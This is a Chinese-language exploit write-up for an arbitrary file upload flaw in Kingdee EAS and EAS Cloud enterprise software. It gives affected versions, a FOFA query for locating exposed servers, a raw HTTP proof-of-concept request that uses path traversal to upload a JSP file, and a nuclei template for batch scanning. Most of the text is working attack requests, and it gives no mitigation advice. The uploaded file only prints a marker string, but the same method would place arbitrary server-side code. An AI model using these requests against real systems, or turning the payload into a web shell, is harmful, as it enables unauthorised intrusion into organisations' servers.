金蝶EAS myUploadFile任意文件上传漏洞

漏洞简介

金蝶 EAS 及 EAS Cloud 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。金蝶EAS及EAS cloud存在任意文件上传漏洞

影响版本

金蝶 EAS 8.0，8.1，8.2，8.5
金蝶 EAS Cloud 8.6私有云，8.6公有云，8.6.1，8.8

漏洞复现

fofa语法：app="Kingdee-EAS"
登录页面如下：

POC:

POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Length: 210
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
Cookie: sl-session=sqPhC9MLJmWsiN7c9/P6tA==
SL-CE-SUID: 47

------WebKitFormBoundarySq4lDnabv8CwHfvx
Content-Disposition: form-data; name="myFile"; filename="/qcge.jsp"
Content-Type: text/html

<%out.println("qhzkgvst");%>
------WebKitFormBoundarySq4lDnabv8CwHfvx--

上传后的文件路径为：/easportal/buffalo/../qcge.jsp

nuclei批量yaml文件

id: Kingdee_EAS_myUploadFile_upload
info:
  name: 金蝶 EAS任意文件上传漏洞
  author: mhb17
  severity: critical
  description: 

requests:
  - raw:
      - |-
        POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
        Connection: close
        Accept: */*
        Accept-Language: en
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
        Cookie: sl-session=sqPhC9MLJmWsiN7c9/P6tA==
        Accept-Encoding: gzip, deflate
        Content-Length: 211
        SL-CE-SUID: 47

        ------WebKitFormBoundarySq4lDnabv8CwHfvx
        Content-Disposition: form-data; name="myFile"; filename="/qcge.jsp"
        Content-Type: text/html

        <%out.println("qhzkgvst");%>
        ------WebKitFormBoundarySq4lDnabv8CwHfvx--
      - |+
        GET /easportal/buffalo/../qcge.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "qhzkgvst") && status_code_2 == 200'